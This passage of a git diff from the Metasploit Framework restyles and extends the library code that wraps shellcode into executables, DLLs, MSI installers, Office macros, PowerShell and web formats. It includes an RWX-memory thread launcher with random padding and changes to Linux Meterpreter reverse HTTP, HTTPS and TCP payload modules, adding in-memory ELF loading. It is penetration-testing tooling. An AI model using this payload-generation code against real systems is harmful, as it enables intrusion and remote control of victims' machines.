- end - wrapper << stub_final + wrapper << stub_final - enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - enc.data + code - end - - # This wrapper is responsible for allocating RWX memory, copying the - # target code there, setting an exception handler that calls ExitProcess, - # starting the code in a new thread, and finally jumping back to the next - # code to execute. block_offset is the offset of the next code from - # the start of this code - def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') - stub_block = Rex::Payloads::Shuffle.from_graphml_file( - File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'), - arch: ARCH_X86, - name: 'api_call' - ) + enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded + enc.data + code + end - stub_exit = %Q^ + # This wrapper is responsible for allocating RWX memory, copying the + # target code there, setting an exception handler that calls ExitProcess, + # starting the code in a new thread, and finally jumping back to the next + # code to execute. block_offset is the offset of the next code from + # the start of this code + def self.win32_rwx_exec_thread(code, block_offset, which_offset = 'start') + stub_block = Rex::Payloads::Shuffle.from_graphml_file( + File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'), + arch: ARCH_X86, + name: 'api_call' + ) + + stub_exit = %^ ; Input: EBP must be the address of 'api_call'. ; Output: None. ; Clobbers: EAX, EBX, (ESP will also be modified) @@ -2005,7 +1958,7 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') call ebp ; call EXITFUNK( 0 ); ^ - stub_alloc = %Q^ + stub_alloc = %^ pushad ; Save registers cld ; Clear the direction flag. call start ; Call start, this pushes the address of 'api_call' onto the stack. @@ -2057,355 +2010,364 @@ def self.win32_rwx_exec_thread(code, block_offset, which_offset='start') ; sub esp, 44 ; Move stack pointer back past the handler ^ - stub_final = %Q^ + stub_final = %( get_payload: call got_payload payload: ; Append an arbitrary payload here - ^ - - - stub_alloc.gsub!('short', '') - stub_alloc.gsub!('byte', '') + ) - wrapper = "" - # regs = %W{eax ebx ecx edx esi edi ebp} + stub_alloc.gsub!('short', '') + stub_alloc.gsub!('byte', '') + + wrapper = '' + # regs = %W{eax ebx ecx edx esi edi ebp} + + cnt_jmp = 0 + cnt_nop = 64 + + stub_alloc.each_line do |line| + line.gsub!(/;.*/, '') + line.strip! + next if line.empty? + + if cnt_nop > 0 && rand(4) == 0 + wrapper << "nop\n" + cnt_nop -= 1 + end + + if cnt_nop > 0 && rand(16) == 0 + cnt_nop -= 2 + cnt_jmp += 1 + + wrapper << "jmp autojump#{cnt_jmp}\n" + 1.upto(rand(1..8)) do + wrapper << "db 0x#{'%.2x' % rand(0x100)}\n" + cnt_nop -= 1 + end + wrapper << "autojump#{cnt_jmp}:\n" + end + wrapper << line + "\n" + end - cnt_jmp = 0 - cnt_nop = 64 + # @TODO: someone who knows how to use metasm please explain the right way to do this. + wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" + wrapper << stub_final - stub_alloc.each_line do |line| - line.gsub!(/;.*/, '') - line.strip! - next if line.empty? + enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded + soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 + res = enc.data + code - if cnt_nop > 0 && rand(4) == 0 - wrapper << "nop\n" - cnt_nop -= 1 + if which_offset == 'start' + res[soff, 4] = [block_offset - (soff + 4)].pack('V') + elsif which_offset == 'end' + res[soff, 4] = [res.length - (soff + 4) + block_offset].pack('V') + else + raise 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' + end + res end - if cnt_nop > 0 && rand(16) == 0 - cnt_nop -= 2 - cnt_jmp += 1 + # + # Generate an executable of a given format suitable for running on the + # architecture/platform pair. + # + # This routine is shared between msfvenom, rpc, and payload modules (use + # ) + # + # @param framework [Framework] + # @param arch [String] Architecture for the target format; one of the ARCH_* + # constants + # @param plat [#index] platform + # @param code [String] The shellcode for the resulting executable to run + # @param fmt [String] One of the executable formats as defined in + # {.to_executable_fmt_formats} + # @param exeopts [Hash] Passed directly to the appropriate method for + # generating an executable for the given +arch+/+plat+ pair. + # @return [String] An executable appropriate for the given + # architecture/platform pair. + # @return [nil] If the format is unrecognized or the arch and plat don't + # make sense together. + def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) + # For backwards compatibility with the way this gets called when + # generating from Msf::Simple::Payload.generate_simple + if arch.is_a? Array + output = nil + arch.each do |a| + output = to_executable_fmt(framework, a, plat, code, fmt, exeopts) + break if output + end + return output + end - wrapper << "jmp autojump#{cnt_jmp}\n" - 1.upto(rand(8)+1) do - wrapper << "db 0x#{"%.2x" % rand(0x100)}\n" - cnt_nop -= 1 + # otherwise the result of this huge case statement is returned + case fmt + when 'asp' + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) + Msf::Util::EXE.to_exe_asp(exe, exeopts) + when 'aspx' + Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) + when 'aspx-exe' + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) + Msf::Util::EXE.to_exe_aspx(exe, exeopts) + when 'dll' + case arch + when ARCH_X86, nil + to_win32pe_dll(framework, code, exeopts) + when ARCH_X64 + to_win64pe_dll(framework, code, exeopts) + end + when 'exe' + case arch + when ARCH_X86, nil + to_win32pe(framework, code, exeopts) + when ARCH_X64 + to_win64pe(framework, code, exeopts) + end + when 'exe-service' + case arch + when ARCH_X86, nil + to_win32pe_service(framework, code, exeopts) + when ARCH_X64 + to_win64pe_service(framework, code, exeopts) + end + when 'exe-small' + case arch + when ARCH_X86, nil + to_win32pe_old(framework, code, exeopts) + when ARCH_X64 + to_win64pe(framework, code, exeopts) + end + when 'exe-only' + case arch + when ARCH_X86, nil + to_winpe_only(framework, code, exeopts) + when ARCH_X64 + to_winpe_only(framework, code, exeopts, arch) + end + when 'msi' + case arch + when ARCH_X86, nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + exeopts[:uac] = true + Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'msi-nouac' + case arch + when ARCH_X86, nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) + when 'elf' + if elf? code + return code + end + + if !plat || plat.index(Msf::Module::Platform::Linux) + case arch + when ARCH_X86, nil + to_linux_x86_elf(framework, code, exeopts) + when ARCH_X64 + to_linux_x64_elf(framework, code, exeopts) + when ARCH_AARCH64 + to_linux_aarch64_elf(framework, code, exeopts) + when ARCH_ARMLE + to_linux_armle_elf(framework, code, exeopts) + when ARCH_ARMBE + to_linux_armbe_elf(framework, code, exeopts) + when ARCH_MIPSBE + to_linux_mipsbe_elf(framework, code, exeopts) + when ARCH_MIPSLE + to_linux_mipsle_elf(framework, code, exeopts) + when ARCH_MIPS64 + to_linux_mips64_elf(framework, code, exeopts) + when ARCH_RISCV32LE + to_linux_riscv32le_elf(framework, code, exeopts) + when ARCH_RISCV64LE + to_linux_riscv64le_elf(framework, code, exeopts) + when ARCH_PPC64LE + to_linux_ppc64le_elf(framework, code, exeopts) + when ARCH_PPC + to_linux_ppc_elf(framework, code, exeopts) + when ARCH_PPCE500V2 + to_linux_ppce500v2_elf(framework, code, exeopts) + when ARCH_ZARCH + to_linux_zarch_elf(framework, code, exeopts) + when ARCH_LOONGARCH64 + to_linux_loongarch64_elf(framework, code, exeopts) + end + elsif plat && plat.index(Msf::Module::Platform::BSD) + case arch + when ARCH_X86, nil + Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) + when ARCH_X64 + Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts) + end + elsif plat && plat.index(Msf::Module::Platform::Solaris) + case arch + when ARCH_X86, nil + to_solaris_x86_elf(framework, code, exeopts) + end + end + when 'elf-so' + if elf? code + return code + end + + if !plat || plat.index(Msf::Module::Platform::Linux) + case arch + when ARCH_X86 + to_linux_x86_elf_dll(framework, code, exeopts) + when ARCH_X64 + to_linux_x64_elf_dll(framework, code, exeopts) + when ARCH_ARMLE + to_linux_armle_elf_dll(framework, code, exeopts) + when ARCH_AARCH64 + to_linux_aarch64_elf_dll(framework, code, exeopts) + when ARCH_RISCV32LE + to_linux_riscv32le_elf_dll(framework, code, exeopts) + when ARCH_RISCV64LE + to_linux_riscv64le_elf_dll(framework, code, exeopts) + when ARCH_LOONGARCH64 + to_linux_loongarch64_elf_dll(framework, code, exeopts) + end + end + when 'macho', 'osx-app' + if macho? code + macho = code + else + macho = case arch + when ARCH_X86, nil + to_osx_x86_macho(framework, code, exeopts) + when ARCH_X64 + to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE + to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC + to_osx_ppc_macho(framework, code, exeopts) + when ARCH_AARCH64 + to_osx_aarch64_macho(framework, code, exeopts) + end + end + fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho + when 'vba' + Msf::Util::EXE.to_vba(framework, code, exeopts) + when 'vba-exe' + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) + Msf::Util::EXE.to_exe_vba(exe) + when 'vba-psh' + Msf::Util::EXE.to_powershell_vba(framework, arch, code) + when 'vbs' + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) + Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ persist: false })) + when 'loop-vbs' + exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) + Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ persist: true })) + when 'jsp' + arch ||= [ ARCH_X86 ] + tmp_plat = plat.platforms if plat + tmp_plat ||= Msf::Module::PlatformList.transform('win') + exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) + Msf::Util::EXE.to_jsp(exe) + when 'war' + arch ||= [ ARCH_X86 ] + tmp_plat = plat.platforms if plat + tmp_plat ||= Msf::Module::PlatformList.transform('win') + exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) + Msf::Util::EXE.to_jsp_war(exe) + when 'psh' + Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) + when 'psh-net' + Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) + when 'psh-reflection' + Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) + when 'psh-cmd' + Msf::Util::EXE.to_powershell_command(framework, arch, code) + when 'hta-psh' + Msf::Util::EXE.to_powershell_hta(framework, arch, code) + when 'python-reflection' + Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts) + when 'ducky-script-psh' + Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code) end - wrapper << "autojump#{cnt_jmp}:\n" end - wrapper << line + "\n" - end - - # @TODO: someone who knows how to use metasm please explain the right way to do this. - wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n" - wrapper << stub_final - - enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded - soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1 - res = enc.data + code - - if which_offset == 'start' - res[soff,4] = [block_offset - (soff + 4)].pack('V') - elsif which_offset == 'end' - res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V') - else - raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!' - end - res - end - - - # - # Generate an executable of a given format suitable for running on the - # architecture/platform pair. - # - # This routine is shared between msfvenom, rpc, and payload modules (use - # ) - # - # @param framework [Framework] - # @param arch [String] Architecture for the target format; one of the ARCH_* - # constants - # @param plat [#index] platform - # @param code [String] The shellcode for the resulting executable to run - # @param fmt [String] One of the executable formats as defined in - # {.to_executable_fmt_formats} - # @param exeopts [Hash] Passed directly to the appropriate method for - # generating an executable for the given +arch+/+plat+ pair. - # @return [String] An executable appropriate for the given - # architecture/platform pair. - # @return [nil] If the format is unrecognized or the arch and plat don't - # make sense together. - def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts) - # For backwards compatibility with the way this gets called when - # generating from Msf::Simple::Payload.generate_simple - if arch.kind_of? Array - output = nil - arch.each do |a| - output = to_executable_fmt(framework, a, plat, code, fmt, exeopts) - break if output - end - return output - end - # otherwise the result of this huge case statement is returned - case fmt - when 'asp' - exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - Msf::Util::EXE.to_exe_asp(exe, exeopts) - when 'aspx' - Msf::Util::EXE.to_mem_aspx(framework, code, exeopts) - when 'aspx-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - Msf::Util::EXE.to_exe_aspx(exe, exeopts) - when 'dll' - case arch - when ARCH_X86,nil - to_win32pe_dll(framework, code, exeopts) - when ARCH_X64 - to_win64pe_dll(framework, code, exeopts) - end - when 'exe' - case arch - when ARCH_X86,nil - to_win32pe(framework, code, exeopts) - when ARCH_X64 - to_win64pe(framework, code, exeopts) - when ARCH_AARCH64 - to_winaarch64pe(framework, code, exeopts) - end - when 'exe-service' - case arch - when ARCH_X86,nil - to_win32pe_service(framework, code, exeopts) - when ARCH_X64 - to_win64pe_service(framework, code, exeopts) - end - when 'exe-small' - case arch - when ARCH_X86,nil - to_win32pe_old(framework, code, exeopts) - when ARCH_X64 - to_win64pe(framework, code, exeopts) - end - when 'exe-only' - case arch - when ARCH_X86,nil - to_winpe_only(framework, code, exeopts) - when ARCH_X64 - to_winpe_only(framework, code, exeopts, arch) - end - when 'msi' - case arch - when ARCH_X86,nil - exe = to_win32pe(framework, code, exeopts) - when ARCH_X64 - exe = to_win64pe(framework, code, exeopts) - end - exeopts[:uac] = true - Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) - when 'msi-nouac' - case arch - when ARCH_X86,nil - exe = to_win32pe(framework, code, exeopts) - when ARCH_X64 - exe = to_win64pe(framework, code, exeopts) - end - Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) - when 'elf' - if elf? code - return code - end - if !plat || plat.index(Msf::Module::Platform::Linux) - case arch - when ARCH_X86,nil - to_linux_x86_elf(framework, code, exeopts) - when ARCH_X64 - to_linux_x64_elf(framework, code, exeopts) - when ARCH_AARCH64 - to_linux_aarch64_elf(framework, code, exeopts) - when ARCH_PPC64 - to_linux_ppc64_elf(framework, code, exeopts) - when ARCH_ARMLE - to_linux_armle_elf(framework, code, exeopts) - when ARCH_MIPSBE - to_linux_mipsbe_elf(framework, code, exeopts) - when ARCH_MIPSLE - to_linux_mipsle_elf(framework, code, exeopts) - when ARCH_RISCV32LE - to_linux_riscv32le_elf(framework, code, exeopts) - when ARCH_RISCV64LE - to_linux_riscv64le_elf(framework, code, exeopts) - when ARCH_LOONGARCH64 - to_linux_loongarch64_elf(framework, code, exeopts) - end - elsif plat && plat.index(Msf::Module::Platform::BSD) - case arch - when ARCH_X86,nil - Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts) - when ARCH_X64 - Msf::Util::EXE.to_bsd_x64_elf(framework, code, exeopts) - end - elsif plat && plat.index(Msf::Module::Platform::Solaris) - case arch - when ARCH_X86,nil - to_solaris_x86_elf(framework, code, exeopts) - end + # FMT Formats + # self.to_executable_fmt_formats + # @return [Array] Returns an array of strings + def self.to_executable_fmt_formats + [ + 'asp', + 'aspx', + 'aspx-exe', + 'axis2', + 'dll', + 'ducky-script-psh', + 'elf', + 'elf-so', + 'exe', + 'exe-only', + 'exe-service', + 'exe-small', + 'hta-psh', + 'jar', + 'jsp', + 'loop-vbs', + 'macho', + 'msi', + 'msi-nouac', + 'osx-app', + 'psh', + 'psh-cmd', + 'psh-net', + 'psh-reflection', + 'python-reflection', + 'vba', + 'vba-exe', + 'vba-psh', + 'vbs', + 'war' + ] end - when 'elf-so' - if elf? code - return code - end - if !plat || plat.index(Msf::Module::Platform::Linux) - case arch - when ARCH_X86 - to_linux_x86_elf_dll(framework, code, exeopts) - when ARCH_X64 - to_linux_x64_elf_dll(framework, code, exeopts) - when ARCH_ARMLE - to_linux_armle_elf_dll(framework, code, exeopts) - when ARCH_AARCH64 - to_linux_aarch64_elf_dll(framework, code, exeopts) - when ARCH_RISCV32LE - to_linux_riscv32le_elf_dll(framework, code, exeopts) - when ARCH_RISCV64LE - to_linux_riscv64le_elf_dll(framework, code, exeopts) - when ARCH_LOONGARCH64 - to_linux_loongarch64_elf_dll(framework, code, exeopts) - end + + # self.get_file_contents + # + # @param perms [String] + # @param file [String] + # @return [String] + def self.get_file_contents(file, perms = 'rb') + contents = '' + File.open(file, perms) { |fd| contents = fd.read(fd.stat.size) } + contents end - when 'macho', 'osx-app' - if macho? code - macho = code - else - macho = case arch - when ARCH_X86,nil - to_osx_x86_macho(framework, code, exeopts) - when ARCH_X64 - to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE - to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC - to_osx_ppc_macho(framework, code, exeopts) - when ARCH_AARCH64 - to_osx_aarch64_macho(framework, code, exeopts) + + # self.find_payload_tag + # + # @param mo [String] + # @param err_msg [String] + # @raise [RuntimeError] if the "PAYLOAD:" is not found + # @return [Integer] + def self.find_payload_tag(mo, err_msg) + bo = mo.index('PAYLOAD:') + unless bo + raise err_msg.to_s end + + bo end - fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho - when 'vba' - Msf::Util::EXE.to_vba(framework, code, exeopts) - when 'vba-exe' - exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - Msf::Util::EXE.to_exe_vba(exe) - when 'vba-psh' - Msf::Util::EXE.to_powershell_vba(framework, arch, code) - when 'vbs' - exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false })) - when 'loop-vbs' - exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts) - Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true })) - when 'jsp' - arch ||= [ ARCH_X86 ] - tmp_plat = plat.platforms if plat - tmp_plat ||= Msf::Module::PlatformList.transform('win') - exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) - Msf::Util::EXE.to_jsp(exe) - when 'war' - arch ||= [ ARCH_X86 ] - tmp_plat = plat.platforms if plat - tmp_plat ||= Msf::Module::PlatformList.transform('win') - exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts) - Msf::Util::EXE.to_jsp_war(exe) - when 'psh' - Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts) - when 'psh-net' - Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts) - when 'psh-reflection' - Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts) - when 'psh-cmd' - Msf::Util::EXE.to_powershell_command(framework, arch, code) - when 'hta-psh' - Msf::Util::EXE.to_powershell_hta(framework, arch, code) - when 'python-reflection' - Msf::Util::EXE.to_python_reflection(framework, arch, code, exeopts) - when 'ducky-script-psh' - Msf::Util::EXE.to_powershell_ducky_script(framework, arch, code) - end - end - # FMT Formats - # self.to_executable_fmt_formats - # @return [Array] Returns an array of strings - def self.to_executable_fmt_formats - [ - "asp", - "aspx", - "aspx-exe", - "axis2", - "dll", - "ducky-script-psh", - "elf", - "elf-so", - "exe", - "exe-only", - "exe-service", - "exe-small", - "hta-psh", - "jar", - "jsp", - "loop-vbs", - "macho", - "msi", - "msi-nouac", - "osx-app", - "psh", - "psh-cmd", - "psh-net", - "psh-reflection", - "python-reflection", - "vba", - "vba-exe", - "vba-psh", - "vbs", - "war" - ] - end + def self.elf?(code) + code[0..3] == "\x7FELF" + end - # self.get_file_contents - # - # @param perms [String] - # @param file [String] - # @return [String] - def self.get_file_contents(file, perms = "rb") - contents = '' - File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)} - contents - end + def self.macho?(code) + code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE" + end - # self.find_payload_tag - # - # @param mo [String] - # @param err_msg [String] - # @raise [RuntimeError] if the "PAYLOAD:" is not found - # @return [Integer] - def self.find_payload_tag(mo, err_msg) - bo = mo.index('PAYLOAD:') - unless bo - raise RuntimeError, err_msg end - bo - end - - def self.elf?(code) - code[0..3] == "\x7FELF" - end - - def self.macho?(code) - code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE" end - -end -end end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb index 8fc69c37bedbd..3b902c2fa5179 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1184672 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Aarch64::ElfLoader + include Msf::Payload::Linux::Aarch64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_AARCH64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb index 573b88819f224..10d9233efcf0c 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb @@ -3,30 +3,34 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule + CachedSize = 1184672 include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Aarch64::ElfLoader + include Msf::Payload::Linux::Aarch64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_AARCH64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) end @@ -36,6 +40,11 @@ def generate(_opts = {}) scheme: 'https', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb index 35a7fc84b7432..67964f3a7a58d 100644 --- a/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/meterpreter_reverse_tcp.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1184672 @@ -10,23 +11,25 @@ module MetasploitModule include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Aarch64::ElfLoader + include Msf::Payload::Linux::Aarch64::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse TCP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_AARCH64, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_AARCH64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_aarch64_Linux ) ) end @@ -36,6 +39,11 @@ def generate(_opts = {}) scheme: 'tcp', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config(opts)).to_binary :exec + ds = opts[:datastore] || datastore + if Rex::Version.new(ds['PayloadLinuxMinKernel']) < Rex::Version.new('3.17') + return payload + end + in_memory_load(payload) + payload end end diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb index e0344f9817dd6..a2e8cea0e1148 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_http.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1106544 @@ -10,23 +11,24 @@ module MetasploitModule include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttp, - 'Session' => Msf::Sessions::Meterpreter_armbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) scheme: 'http', stageless: true }.merge(mettle_logging_config) - MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload = MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config(opts)).to_binary :exec + payload end end diff --git a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb index fd3b4e53ca53a..0707fa7bc68f5 100644 --- a/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/linux/armbe/meterpreter_reverse_https.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## + # Module generated by tools/modules/generate_mettle_payloads.rb module MetasploitModule CachedSize = 1106544 @@ -10,23 +11,24 @@ module MetasploitModule include Msf::Payload::Single include Msf::Sessions::MeterpreterOptions::Linux include Msf::Sessions::MettleConfig + include Msf::Payload::Linux::Armbe::Prepends def initialize(info = {}) super( update_info( info, - 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', - 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', - 'Author' => [ + 'Name' => 'Linux Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ 'Adam Cammack ', 'Brent Cook ', 'timwr' ], - 'Platform' => 'linux', - 'Arch' => ARCH_ARMBE, - 'License' => MSF_LICENSE, - 'Handler' => Msf::Handler::ReverseHttps, - 'Session' => Msf::Sessions::Meterpreter_armbe_Linux + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_armbe_Linux ) ) end @@ -36,6 +38,7 @@ def generate(_opts = {}) 